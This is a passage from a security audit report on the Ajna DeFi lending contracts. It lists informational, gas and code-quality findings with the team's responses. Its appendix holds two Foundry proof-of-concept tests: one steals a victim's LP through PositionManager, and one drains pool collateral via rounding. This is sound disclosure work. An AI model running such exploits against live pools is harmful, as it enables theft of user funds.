always different than address(0). (see related issue Gas Optimization: consider removing redundant check in PermitERC721 #36)

- For additional diff tests checks alongside gas reports, please check the issue here
- Related Issues: ERC Compliance: PermitERC721 and PositionManager implementations doesn't match with ERC-4494 Draft #27

Ajna: https://github.com/ajna-finance/contracts/pull/818

Prototech: Fix acknowledged

11.4 isValidSignature doesn't check for well formed signature #33

Severity: Informational, **Status:** Fixed

Context: PermitERC721.sol#L103

Description: isValidSignature doesn't check for well formed signature, which might lead to signature malleability. (openzeppelin-contracts ref)

Recommendation: Consider implementing isValidSignature directly, adopting the following more robust pattern, to include extra checks and assurance to validate the signature, where not just the function selector is checked but also the return.length and successful call (see here for a reference implementation, also implemented in openzeppelin-contracts here)

Ajna: Fix applied Codearena-145,147: PermitERC721 EIP-4494 compliance #818

Prototech: Fix acknowledged

11.5 Code clean up - RewardsManager Reentrancy Guard #32

Severity: Informational, **Status:** Fixed

Context: RewardsManager.sol#L35 - Develop Branch

Description: Based on a Code Arena report, it appears the moveStakedLiquidity function has been removed: ajna-finance/contracts#829

This was the only function using Reentrancy protection in the rewards manager.

Recommendation: If reentrancy is not needed on any other functions in this contract, the inheritance of ReentrancyGuard should be removed from this contract

Ajna: Removed unused ReentrancyGuard from RewardsManager

Prototech: Fix acknowledged

11.6 Code Redundancy: ERC721 is inherited multiple times in PositionManager #31

Severity: Informational, **Status:** Fixed

Context: PositionManager.sol#L42

Description: PositionManager inherits ERC721, already inherited by PermitERC721.

Recommendation: Consider removing redundant ERC721 inheritance as per issue description.

Ajna: Removed redundant ERC721 inheritance

Prototech: Fixes acknowledged

Prototech: Acknowledged - Code changed, adopting SignatureChecker that imports Address.sol even if not used.

11.7 Code Inconsistency: PermitERC721 uses require where elsewhere custom errors are adopted #29

Severity: Informational, **Status:** Fixed

Context: [1] PermitERC721.sol#L98-L110 [2] RevertsHelper.sol#L20-L25

Description: PermitERC721 uses the require pattern to handle errors while the helper library RevertsHelper and throughout the code base custom errors are used.

Recommendation: Consider adopting either one of them to ensure consistency throughout the codebase and improve readability and maintainability.

Ajna: All requires replaced with custom errors in the rewrite of PermitERC721

Prototech: Acknowledged - PermitERC721 was changed to adopt custom errors as the rest of the code base.

11.8 ERC Compliance: PermitERC721 and PositionManager implementations doesn't match with ERC-4494 Draft #27

Severity: Informational, **Status:** Fixed

Context: [1] PermitERC721.sol#L27-L125 [2] PositionManager.sol#L57 [3] PositionManager.sol#L404

Description: The PermitERC721 and derived contract (PositionManager) interface doesn't match the ERC-4494 required ones.

Recommendation: PermitERC721 and derived contract should follow the ERC-4494 Draft and common patterns and best practices adopted for ERC20 permit. Interfaces should be implemented to meet the standard specifications to avoid external integration issues. In order to achieve this, the ERC20 permit implementation in xdomain-dss could be reused and adapted for the ERC721 as follows:

- nonces getter visibility should be set as external and _getAndIncrementNonce called for internal use (as currently done in permit) and it should return uint256 instead of uint96 (that doesn't seem to provide any gas benefits).
- permit could be overloaded to match the standard interface, using abi.encodePacked(r, s, v) for the signature and then including the extra checks to ensure the signature is well formed (see isValidSignature implementation in xdomain-dss)

- `DOMAIN_SEPARATOR()` should be external and an internal functions adopted for internal use (e.g. `_calculateDomainSeparator`)

Ajna: ERC-4494 compliance added in ajna-finance/contracts#818

Prototech: Fixes acknowledged

11.9 Reserve Auction DOS Attack #26

Severity: Informational, **Status:** Acknowledged

Context: KickerActions.sol#L277

Description: In the whitepaper, it states that Reserve Auctions are limited to once every two weeks but is ambiguous about whether that is per pool or Ajna-wide. However, in the implementation, the restriction is **per pool**.

When there are many auctions running at the same time or the network is congested and gas fees are high, this could lead to many reserve auctions running at the same time across many pools. If there are congested network/high gas fees and/or limited reserve auction Takers and many auctions running, this could result in less than optimal amounts of Ajna being burned (effectively the protocol would be overvaluing Ajna because there were delays in Taker actions).

While the “pay-as-bid” Dutch auction does help protect from this by not requiring Taker collateral be encumbered as it would in an English auction, the “pay-as-bid” Dutch auction still requires Takers with capital that can respond quickly to auctions when they approach the “correct” price leaving some exposure to this DOS-style attack.

Recommendation: If the Ajna team wishes to prevent this there would have to be a more unified tracking of the state of reserve auctions to rate limit how many auctions can be run in parallel across pools. The trade off here is it could create a long queue of reserves waiting to be auctioned if there are many profitable pools.

Ajna: Acknowledged

11.10 Unit Tests & non-18 decimals tokens #25

Severity: Informational, **Status:** Acknowledged

Context: /tests/forge/unit

Description: In general, the unit tests assume 18 decimal tokens for both the quote token and the collateral token. The expectations that get checked then have very specific numbers.

Recommendation: There may be potential blind spots around non-18 decimal token edge cases and rounding, some of which have been identified here. Prototech was not able to explore further given time constraints and so it is recommended that further testing be done to ensure there are no edge cases or rounding problems. Some areas where increased coverage may be useful include:

- Rounding precision on supply or borrow
- Rounding precision on repay or liquidation

- Dust locking: where 1e18 dust gets left in the protocol's accounting that then blocks some action unless an actor takes a loss on gas (i.e. dust prevents withdrawing due to LUP restrictions or makes settling an auction uneconomical)

Ajna: Acknowledged

Prototech: Additional comments: These tests will also benefit from additional time-based testing - particularly to see tests that run against a number of decimal precisions. For NFT's specifically; deposit, draw a loan, and then wait some time to accrue interest in amounts of quote token that are dusty to the ERC20 quote precision, then perform withdrawal and auction operations to ensure everything is handled cleanly.

11.11 Solidity Version: consider 0.8.16-0.8.18 for deployment #23

Severity: Informational, **Status:** Fixed

Context: FlashloanablePool.sol#L3

Description: Current Solidity Version used is `0.8.14`.

Recommendation: Consider using a more recent solidity version for deployment like `0.8.16` that from internal discussion to offer the best fit in terms of maturity and optimizer bugs, even though static analyzers like slither recommends `0.8.18` via the detector `slither-version` in the wiki, that should be considered as well, where the recommendation takes into account the following points:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Ajna: Fixed in https://github.com/ajna-finance/contracts/pull/832

Prototech: Fix acknowledged

11.12 Avoid param structs/tuples on external functions. #47

Severity: Informational, **Status:** Fixed

Context: [1] PositionManager.sol#L143 [2] PositionManager.sol#L171 [3] PositionManager.sol#L228 [4] PositionManager.sol#L263 [5] PositionManager.sol#L353

Description: These are external functions that require a param tuple to execute. This could be difficult for integrators to work with, as it will require importing the `MemorialPositionsParams`, etc. interface or packing a payload manually. This also becomes difficult to manage with CLI or Web-based integration tools like etherscan.

Recommendation: Would recommend not using the tuple here and instead using distinct parameter inputs, both for simpler integration and intention. Update documentation to include descriptions of each individual param.

These can be re-packed into the struct as a local variable inside the function if it is necessary to avoid stack-too-deep errors further down the line.

Ajna: Fix applied ajna-finance/contracts#868

Prototech: Fix acknowledged

12. Gas Optimization Findings

12.1 Consider checking token id sort order in the pool #54

Severity: Informational - Gas Optimization, **Status:** Acknowledged

Context: ERC721PoolFactory.sol#L117-L122

Description: The ERC721 Pool Factory runs a full loop over the subset array in `_checkTokenIdSortOrder`. This runs a full loop over the array prior to passing it to the pool, where another loop is run over the array to insert the tokens into memory.

Recommendation: The sort order logic can be moved to the pool initialization loop to save the extra sort loop. It also puts enforcement of the sort order into the pool itself rather than the Factory.

A note on loops generally: if an array will be static during a loop, its length can be cached in a local variable and used in the loop continuation check. This saves gas by avoiding the call to `.length` on each loop iteration. For example:

```
uint256 _len = tokenIds_.length;
for (uint256 i = 0; i < _len - 1; ) {
```

Ajna: Preference for the original implementation. The one-time gas spend on the double iteration is worth saving 115 bytes of space in the contract, and keeping the code in the factory where it belongs.

Prototech: Acknowledged

12.2 Consider granularizing *Info functions. #48

Severity: Informational - Gas Optimization, **Status:** Acknowledged

Context: [1] Pool.sol#L815 [2] Pool.sol#L729 [3] Pool.sol#L760 [4] Elsewhere

Description: Some examples provided above, but there are many places in the codebase where information is returned from the pool via many return values. This can cause very expensive operations on-chain as each of these values must be loaded and/or calculated by the caller for each request. These operations are performed even when the return values are thrown away. For example, in PoolInfoUtils.sol , there are a number of functions where only the `debt` value is needed from a call to `pool.debtInfo()`, and so the call will consume at least 4 SLOADS in an operation that could be performed with one if a more efficient accessor were available.

Recommendation: One of the persistent issues working with MCD was that some calls that only needed a single component would return multiple return values and would be very expensive to integrate with, as they would necessitate multiple storage loads from the contract when only one value was needed.

Consider providing distinct getter functions for commonly-used variables that can directly access the necessary memory location or which only perform the necessary operations to calculate the return value. Update the locations in PoolInfoUtils (example) to utilize these functions and avoid extra memory loads on each call.

As an example, for auctionInfo, getter functions like the following could be provided:

```
function auctionKicker(address borrower_) returns (address kicker_) external view {
    return auctions.liquidations[_borrower_].kicker;
}

function auctionBondFactor(address borrower_) external view returns (uint256 bondFactor_) {
    return auctions.liquidations[_borrower_].bondFactor;
}
```

At the very least, a getter for pool.debt() could be an easy gas win across the board.

Ajna: Ongoing discussion in [1], [2]

Prototech: Acknowledged in discussion threads

12.3 Gas Optimization: consider removing redundant check in PermitERC721 #36

Severity: Informational - Gas Optimization, **Status:** Fixed

Context: PermitERC721.sol#L108

Description: PermitERC721 currently uses a check to ensure recoveredAddress != address(0) even though it should be covered by the check recoveredAddress == owner, where owner is already checked to never been equal to address(0) in ownerOf function of ERC721 from openzeppelin-contracts.

Recommendation: Consider removing the check to improve gas efficiency. Ensure openzeppelin-contracts implementation of ownerOf doesn't change, otherwise this will break the contract (see here).

Ajna: PermitERC721 have been refactored to follow standard reference implementation (see here), where the explicit zero address check is now required due to extra conditions in isApprovedOrOwner function.

Prototech: Fix acknowledged

12.4 Gas Optimization: consider using block.chainid instead of inline assembly chainid #28

Severity: Informational - Gas Optimization, **Status:** Fixed

Context: PermitERC721.sol#L119-L122

Description: PermitERC721 makes use of chainid inline assembly to get the current chain id used in DOMAIN_SEPARATOR.

Recommendation: Consider removing inline assembly chainid and the function _chainId in favor of passing directly the pre-defined global variable block.chainid, introduced in

solidity version 0.8.0, that retrieves the current chain id from the block header of the current block. The recommendation takes into account gas optimization, readability and complexity reduction benefits as well as maintainability.

Ajna: Fixed in https://github.com/ajna-finance/contracts/pull/850

Prototech: Fix Acknowledged

12.5 Gas Optimization: bytes32ToString can be improved to reduce gas costs #21

Severity: Informational - Gas Optimization, **Status:** Fixed

Context: SafeTokenNamer.sol#L67-L71

Description: The code makes use of a loop to trim the bytesString to the correct length, charCount, removing zero characters, increasing the gas expenditure of the calls that make use of it.

Recommendation: To enhance performance and optimize gas usage the following approach could be explored, using mstore to write the value of the charCount at the starting memory address pointed by bytesString, effectively trimming the array at the specified length.

Ajna: Fixed in https://github.com/ajna-finance/contracts/pull/860

Prototech: Fix acknowledged

13. Code Quality Suggestions

13.1 Non-security Code Changes/Recommendations #34

Severity: Informational, **Status:** Acknowledged

Context: This issue tracks non-finding code changes and suggestions;

13.1.1 Code optimization for PoolHelper.sol#174-183

```
import { PRBMathUD60x18 } from "@prb-math/contracts/PRBMathUD60x18.sol";
...
    function _getCollateralDustPricePrecisionAdjustment(
        uint256 bucketIndex_
    ) pure returns (uint256 pricePrecisionAdjustment_) {
        // conditional is a gas optimization
        if (bucketIndex_ > 3900) {
            uint256 bucketOffset;
            unchecked{
                bucketOffset = bucketIndex_ - 3900;
            }
            uint256 result = PRBMathUD60x18.sqrt(PRBMathUD60x18.div(bucketOffset *
1e18, 36 * 1e18));
```

```
        pricePrecisionAdjustment_ = result / 1e18;
    }
}
```

13.1.2 DocBlock update to include MOMP:

- Deposits.sol#71
- Deposits.sol#127

```
@dev Used in LUP and MOMP calculation
```

13.1.3 deposits_ arg missing from DocBlock for Deposits.sol#28

13.1.4 Deleting loans_.borrowers on remove in Loans.sol#193

```
delete loans.borrowers[borrower_];
```

13.1.5 Eliminating unneeded vars in BorrowersActions.sol#142-183

```
    if (vars.pledge) {
            // add new amount of collateral to pledge to borrower
balance
            borrower.collateral  += collateralToPledge_;
            result_.newLup              = Deposits.getLup(deposits_,
result_.poolDebt);

                // if loan is auctioned and becomes collateralized by
newly pledged collateral then settle auction
            if (
                result_.inAuction &&
                _isCollateralized(vars.borrowerDebt,
borrower.collateral, result_.newLup, poolState_.poolType)
            ) {
                // stamp borrower t0Np when exiting from auction
                vars.stampT0Np = true;

                // borrower becomes re-collateralized, entire
borrower debt is removed from pool auctions debt accumulator
                result_.inAuction            = false;
```

```
                result_.settledAuction        = true;
                result_.t0DebtInAuctionChange = borrower.t0Debt;

                // settle auction and update borrower's collateral
with value after settlement
                (
                    borrower.collateral,
                    vars.compensatedCollateral
                ) = SettlerActions._settleAuction(
                    auctions_,
                    buckets_,
                    deposits_,
                    borrowerAddress_,
                    borrower.collateral,
                    poolState_.poolType
                );
                result_.poolCollateral -= vars.compensatedCollateral;
            }

                // add new amount of collateral to pledge to pool
balance
            result_.poolCollateral += collateralToPledge_;
        }
        result_.remainingCollateral = borrower.collateral;
```

13.1.6 Unneeded `Maths.min()` in LenderActions.sol#482. This line should be:

```
bucketCollateral -= amount
```

If the bucket is to be cleared out, then `amount == bucketCollateral` and this line above if `(amount_ > bucketCollateral)` revert `InsufficientCollateral();` ensures that `amount_` cannot be more than `bucketCollateral` so either `amount_` will be equal or less than `bucketCollateral` here and we don't need the `min`

13.1.7 Ensure RewardsManager receives a `non-address(0)` position manager in constructor RewardsManager.sol#95-100

```
address(positionManager_) == address(0)
```

test:

```
    function testDeployWith0xAddressPositionManagerRevert() external {
```

```
        vm.expectRevert(IRewardsManagerErrors.DeployWithZeroAddress.selector);
        new RewardsManager(_ajna, PositionManager(address(0)));
    }
```

13.1.8 Eliminate unnecessary casting for ajnaPool in RewardsManager.sol#210

This is already the interface, there is no need to recast

```
address ajnaPool = positionManager.poolKey(tokenId_);
```

13.1.9 DocBlocks should specify WAD value for example:

- ERC20Pool.sol#478
- ERC20Pool.sol#487

This is probably best for all amounts passed in that expect WAD regardless of token precision

13.1.10 Reduce complexity and slightly improve gas cost by using:

- `_getArgUint256(COLLATERAL_SCALE)` instead of `_bucketCollateralDust(0)`
- When the 0 bucket index is passed, it ends up getting passed to `_getCollateralDustPricePrecisionAdjustment` which will return 0 and therefore `_bucketCollateralDust(0)` will always use `_getArgUint256(COLLATERAL_SCALE)`.
- This reduces complexity and the need to check/call 2 other functions and slightly reduces gas cost (for instance `drawDebt` as measured in the `ERC20PoolBorrowTest.testPoolBorrowAndRepay` saves 723 gas with this change).

For example:

- ERC20.sol#140
- (i.e. ERC20.sol#393)
- Use `collateralDust` instead of reading `COLLATERAL_SCALE` since they are the same values at this point ERC20Pool.sol#417 * Add `AJNA_ADDRESS` getter for consistency with other constants in Pool.sol#85

```
function ajnaAddress() external pure override returns (address) {
    return _getArgAddress(AJNA_ADDRESS);
}
```

13.1.11 Consider collapsing concepts of `quoteTokenScale` and `quoteTokenDust` into one concept since they are used interchangeably throughout the protocol ref: Pool.sol#137-143

13.1.12 Formatting nit: ERC20Pool#72 has no space between `contract` and `using SafeERC20`, Pool.sol#76 has one

13.1.13 Doc comment and typo (bucekt) in PositionManager.sol#81-83

```
uint256 bankruptcyTime;   // [SEC] from bucket bankruptcy time
uint256 bucketDeposit;    // [WAD] from bucket deposit
uint256 depositTime;      // [SEC] lender deposit time in from bucket
```

13.1.14 Explicitly specify the intended precision (18 decimals, token native decimals, etc) of arguments in doc comments (e.g. here).

13.1.15 This comment refers to an expected WAD-precision price input of the function it applies to, when in fact the input is an integer index. The comment may actually be intended to refer to the output value of the function, which is a WAD-precision price.

13.1.16 Missing newInterest_ return value doc comment here for the accrueInterest function.

13.1.17 Gas optimization: on this line, Maths.wmul(Maths.min(mau_, 1e18), 1_000_000 * 1e18) could be replaced with Maths.min(mau_, 1e18) * 1_000_000.

13.1.18 Comment typo: HPT instead of HTP here.

13.1.19 The mathematical expression here isn't quite right, a correct version would be ((1 - MAU1) * s)^(1/3) / s^(1/3) * 0.15.

13.1.20 This comment seems inaccurate–it seems to imply that the amount_ argument is in its native precision, but dividing out the QUOTE_SCALE implies the amount_ argument is in 18-decimal precision.

13.1.21 Maths.sol#L41-L59: The Maths internal library contains logic related to RAY (10^{27}) precision that doesn't seem to be used in the code base, specifically the rmul, rpow, and rayToWad functions. Consider removing these unused functions.

13.1.22 Spacing IPoolEvents.sol#L180

13.1.23 Using NatSpec @return instead of @param at IPoolEvents.sol#L215-L217

13.1.24 Using NatSpec @return instead of @param at IPoolEvents.sol#L227-L229

13.1.25 Spacing IERC721PoolEvents.sol#L28

13.1.26 Quotation spacing IERC721PoolLenderActions.sol#L15

13.1.27 Spacing after NFT at IERC721PoolState.sol#L31

13.1.28 Alignment PoolInfoUtils.sol#L277

13.1.29 In the Pool Factories, consider returning the address of the existing pool in the PoolAlreadyExists() error. This will help a user who has attempted to create a pool better track down what they're looking for.

- ERC20PoolFactory.sol#L54
- ERC721PoolFactory.sol#L58

Ajna: Reviewed and made changes where necessary PROTOTECH-34: Informational Non-security Code Changes/Recommendations #845

Prototech: Acknowledged - Changes look good

13.2 Code Quality: consider declaring RAY constant directly #59

Severity: Informational, **Status:** Fixed

Context: Maths.sol#L41-L59

Description: `Math` internal library includes math functions that uses `RAY` precision where the constant is hard coded.

Recommendation: Consider declaring `RAY` constant for gas efficiency, readability and maintainability of the code base.

Ajna: Fix applied https://github.com/ajna-finance/contracts/pull/858

Prototech: Acknowledged - Changes look good

14 Appendix

14.1 Test Example for 7.1

Adding the following test to `PositionManager.t.sol` illustrates an example for stealing all the LPsthat it manages as described in 7.1 Position Manager allowing for the stealing of all LPs #37:

```
function testMemorializePositionsLowApprovalAttack() external {
        address testAddress = makeAddr("testAddress");
        address victimAddress = makeAddr("victimAddress");

        _mintQuoteAndApproveManagerTokens(testAddress, 10000 * 1e18);
        _mintQuoteAndApproveManagerTokens(victimAddress, 10000 *
1e18);

        // call pool contract directly to add quote tokens
        uint256[] memory indexes = new uint256[](3);
        indexes[0] = 2550;
        indexes[1] = 2551;
        indexes[2] = 2552;

        _addInitialLiquidity({
```

```
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[0]
        });
        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[1]
        });
        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[2]
        });

        // mint an NFT to later memorialize existing positions into
        uint256 tokenId = _mintNFT(testAddress, testAddress,
address(_pool));
        assertFalse(_positionManager.isIndexInPosition(tokenId,
2550));
        assertFalse(_positionManager.isIndexInPosition(tokenId,
2551));
        assertFalse(_positionManager.isIndexInPosition(tokenId,
2552));

        // construct memorialize params struct
        IPositionManagerOwnerActions.MemorializePositionsParams
memory memorializeParams =
IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenId, indexes
        );

        // should revert if access hasn't been granted to transfer LP
        vm.expectRevert(IPoolErrors.NoAllowance.selector);
        _positionManager.memorializePositions(memorializeParams);

        // allow position manager to take ownership of the position
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 1;
        amounts[1] = 1;
        amounts[2] = 1;
```

```
        _pool.increaseLPAllowance(address(_positionManager), indexes,
amounts);

        assertEq(1, _pool.lpAllowance(2550,
address(_positionManager), testAddress), "wrong approval");
        assertEq(1, _pool.lpAllowance(2551,
address(_positionManager), testAddress), "wrong approval");
        assertEq(1, _pool.lpAllowance(2552,
address(_positionManager), testAddress), "wrong approval");

        // memorialize quote tokens into minted NFT
        vm.expectEmit(true, true, true, true);
        emit TransferLP(testAddress, address(_positionManager),
indexes, 3);
        vm.expectEmit(true, true, true, true);
        emit MemorializePosition(testAddress, tokenId, indexes);
        _positionManager.memorializePositions(memorializeParams);

        assertTrue(_positionManager.isIndexInPosition(tokenId,
2550));
        assertTrue(_positionManager.isIndexInPosition(tokenId,
2551));
        assertTrue(_positionManager.isIndexInPosition(tokenId,
2552));

        (uint256 positionLPs,) =
_positionManager.getPositionInfo(tokenId, 2550);
        assertEq(positionLPs, 3_000 * 1e18, "wrong position lps
credit");
        (uint256 posBucketLPs,) = _pool.lenderInfo(2550,
address(_positionManager));
        assertEq(posBucketLPs, 1, "wrong position manager bucket
lps");
        (uint256 userBucketLPs,) = _pool.lenderInfo(2550,
testAddress);
        assertEq(userBucketLPs, 3_000 * 1e18 - 1, "wrong user bucket
lps");

        _pool.increaseLPAllowance(address(_positionManager), indexes,
amounts);
```

```
        _positionManager.memorializePositions(memorializeParams);

        (positionLPs,) = _positionManager.getPositionInfo(tokenId,
2550);
        assertEq(positionLPs, 599999999999999999999, "wrong position
lps credit");
        (posBucketLPs,) = _pool.lenderInfo(2550,
address(_positionManager));
        assertEq(posBucketLPs, 2, "wrong position manager bucket
lps");
        (userBucketLPs,) = _pool.lenderInfo(2550, testAddress);
        assertEq(userBucketLPs, 3_000 * 1e18 - 2, "wrong user bucket
lps");



        // Setup Victim's position
        indexes = new uint256[](1);
        indexes[0] = 2550;

        _addInitialLiquidity({
            from:   victimAddress,
            amount: 10_000 * 1e18,
            index:  indexes[0]
        });

        // mint an NFT to later memorialize existing positions into
        uint256 victimToken = _mintNFT(victimAddress, victimAddress,
address(_pool));
        assertFalse(_positionManager.isIndexInPosition(victimToken,
2550));

        // construct memorialize params struct
        IPositionManagerOwnerActions.MemorializePositionsParams
memory victimMemorializeParams =
IPositionManagerOwnerActions.MemorializePositionsParams(
            victimToken, indexes
        );

        // should revert if access hasn't been granted to transfer LP
        vm.expectRevert(IPoolErrors.NoAllowance.selector);
```

```
_positionManager.memorializePositions(victimMemorializeParams);

        // allow position manager to take ownership of the position
        amounts = new uint256[](1);
        amounts[0] = 10_000 * 1e18;
        _pool.increaseLPAllowance(address(_positionManager), indexes,
amounts);

        assertEq(10_000 * 1e18, _pool.lpAllowance(2550,
address(_positionManager), victimAddress), "wrong victim approval");

        // memorialize quote tokens into minted NFT

_positionManager.memorializePositions(victimMemorializeParams);

        // check attacker position
        (positionLPs,) = _positionManager.getPositionInfo(tokenId,
2550);
        assertEq(positionLPs, 5999999999999999999999, "wrong position
lps credit");

        // check victim position
        (positionLPs,) =
_positionManager.getPositionInfo(victimToken, 2550);
        assertEq(positionLPs, 10_000 * 1e18, "wrong position lps
victim credit");

        // check positionManager balance
        (posBucketLPs,) = _pool.lenderInfo(2550,
address(_positionManager));
        assertEq(posBucketLPs, 10_000 * 1e18 + 2, "wrong position
manager bucket lps");

        // check attacker bucket
        (userBucketLPs,) = _pool.lenderInfo(2550, testAddress);
        assertEq(userBucketLPs, 3_000 * 1e18 - 2, "wrong user bucket
lps");

        // check victim bucket
        (userBucketLPs,) = _pool.lenderInfo(2550, victimAddress);
        assertEq(userBucketLPs, 0, "wrong user bucket lps");
```

```
        changePrank(testAddress);
        address[] memory transferors = new address[](1);
        transferors[0] = address(_positionManager);
        _pool.approveLPTransferors(transferors);

        IPositionManagerOwnerActions.RedeemPositionsParams memory
reedemParams = IPositionManagerOwnerActions.RedeemPositionsParams(
            tokenId, address(_pool), indexes
        );

        vm.expectEmit(true, true, true, true);
        emit RedeemPosition(testAddress, tokenId, indexes);
        _positionManager.reedemPositions(reedemParams);

        assertEq(_positionManager.getLP(tokenId, 2550), 0);
        assertEq(_positionManager.getLP(victimToken, 2550), 10_000 *
1e18);

        // check attacker position
        (positionLPs,) = _positionManager.getPositionInfo(tokenId,
2550);
        assertEq(positionLPs, 0, "wrong position lps credit");

        // check victim position
        (positionLPs,) =
_positionManager.getPositionInfo(victimToken, 2550);
        assertEq(positionLPs, 10_000 * 1e18, "wrong position lps
victim credit");

        // check positionManager balance
        (posBucketLPs,) = _pool.lenderInfo(2550,
address(_positionManager));
        assertEq(posBucketLPs, 4_000 * 1e18 + 3, "wrong position
manager bucket lps");

        // check attacker bucket
        (userBucketLPs,) = _pool.lenderInfo(2550, testAddress);
        assertEq(userBucketLPs, 899999999999999999997, "wrong user
bucket lps");
```

```
        // check victim bucket
        (userBucketLPs,) = _pool.lenderInfo(2550, victimAddress);
        assertEq(userBucketLPs, 0, "wrong user bucket lps");

        changePrank(victimAddress);
        _pool.approveLPTransferors(transferors);
        reedemParams =
IPositionManagerOwnerActions.RedeemPositionsParams(
            victimToken, address(_pool), indexes
        );

        _positionManager.reedemPositions(reedemParams);

        // check victim position
        // ATTACKER STOLE THEIR LP
        (positionLPs,) =
_positionManager.getPositionInfo(victimToken, 2550);
        assertEq(positionLPs, 0, "wrong position lps victim credit");

        // check victim bucket
        // VICTIM LEFT WITH SCRAPS
        (userBucketLPs,) = _pool.lenderInfo(2550, victimAddress);
        assertEq(userBucketLPs, 4_000 * 1e18 + 3, "wrong user bucket
lps");
    }
```

14.2 Test Example for 8.1

The following test can be added to tests/forge/unit/ERC20Pool/ERC20PoolCollateral.t.sol to demonstrate running the extraction in a loop as per issue 8.1 Extracting Collateral without redeeming LP Shares #57.

```
 function test_prototech_collateral_draining() external {
        address victim   = makeAddr("victim");
        address attacker = makeAddr("attacker");

        // test setup
        _mintCollateralAndApproveTokens(victim, 1 * 1e30);
```

```
        _mintQuoteAndApproveTokens(attacker, 1000000000000 * 1e18);

        // victim will have collateral in a bucket
        _addCollateral({
            from:    victim,                // victim address
            amount:  1 * 1e30,              // amount to add, 1 *
1e30
            index:   6502,                  // bucket index (with low
price)
            lpAward: 8287415.613413 * 1e18  // expected LP award,
8287415.613413 * 1e18
        });

        // check bucket state and attacker's LP
        _assertBucket({
            index:        6502,                     // bucket index
            lpBalance:    8287415.613413 * 1e18,    // new bucket LP
balance
            collateral:   1 * 1e30,                 // new bucket
collateral
            deposit:      0,                        // no deposits
            exchangeRate: 1 * 1e18                  // exchange rate
is 1 WAD
        });
        _assertLenderLpBalance({
            lender:      victim,                    // victim address
            index:       6502,                      // bucket index
            lpBalance:   8287415.613413 * 1e18,     // new LP balance
of victim
            depositTime: _startTime                 // deposit time
        });

        // attacker starts w/no collateral tokens
        assertEq(_collateral.balanceOf(attacker), 0);

        // the pool has all the collateral
        assertEq(_collateral.balanceOf(address(_pool)), 1 * 1e30);

        // attacker just needs a non-zero LP balance--deposit a
minimal amount of quote token
        _addInitialLiquidity({
```

```
            from:   attacker,
            amount: 1,
            index:  6502
        });
        _assertLenderLpBalance({
            lender:      attacker,                  // attacker
address
            index:       6502,                      // bucket index
            lpBalance:   1,                         // new LP balance
of attacker
            depositTime: _startTime                 // deposit time
        });

        // The attack for 10^8/(6*10^4) iterations
        uint256 iterations = 1666;
        for (uint256 i = 1; i <= iterations; i++) {
            // redeem maximum amount of collateral possible while
keeping LP balance
            // constant due to redemption amount of LP rounding to
zero
            // (10**18 / 2) / 8287415613413 = 60332
            _removeCollateral({
                from:     attacker,     // attacker address
                amount:   60332,        // largest amount to remove
that still creates rounding error
                index:    6502,         // bucket index
                lpRedeem: 0             // expected LP redeem of
0.997244936804780000 but got 0
            });

            // check bucket state and attacker's LP
            _assertBucket({
                index:        6502,
                lpBalance:    8287415.613413 * 1e18 + 1,    // LP
balance should change but didn't
                collateral:   (1 * 1e30) - (60332 * i),     // less
collateral in each loop
                deposit:      1,                            // still
no deposits
                exchangeRate: 1 * 1e18                      // still 1
WAD
```

```
            });
            _assertLenderLpBalance({
                lender:      attacker,                  // attacker
address
                index:       6502,                      // bucket
index
                lpBalance:   1,                         // attacker's
LP balance should change but didn't!
                depositTime: _startTime                 // deposit
time
            });

            // attacker receives collateral without relinquishing LP
shares
            assertEq(_collateral.balanceOf(attacker), 60332 * i);

            // the pool is being drained of collateral
            assertEq(
                _collateral.balanceOf(address(_pool)),
                (1 * 1e30) - (60332 * i)
            );
        }

        // remove victim's remaining collateral
        _removeCollateral({
            from:     victim,                               // victim
address
            amount:   (1 * 1e30) - (60332 * iterations),    //
remaining collateral
            index:    6502,                                 // bucket
index
            lpRedeem: 8287415.613412999999999167 * 1e18     //
expected LP redeem
        });

        // Some LP shares leftover due to rounding
        _assertBucket({
            index:        6502,             // bucket index
            lpBalance:    834,              // LP remaining
            collateral:   0,                // no collateral left in
the pool
```

```
            deposit:      1,                 // still no deposits
            exchangeRate: 1199040767386091   // gets messed up by
remaining dust amounts
        });

        // attacker still has their single LP share
        _assertLenderLpBalance({
            lender:      attacker,                // attacker
address
            index:       6502,                    // bucket index
            lpBalance:   1,                       // attacker's LP
balance should change but didn't!
            depositTime: _startTime               // deposit time
        });
    }
```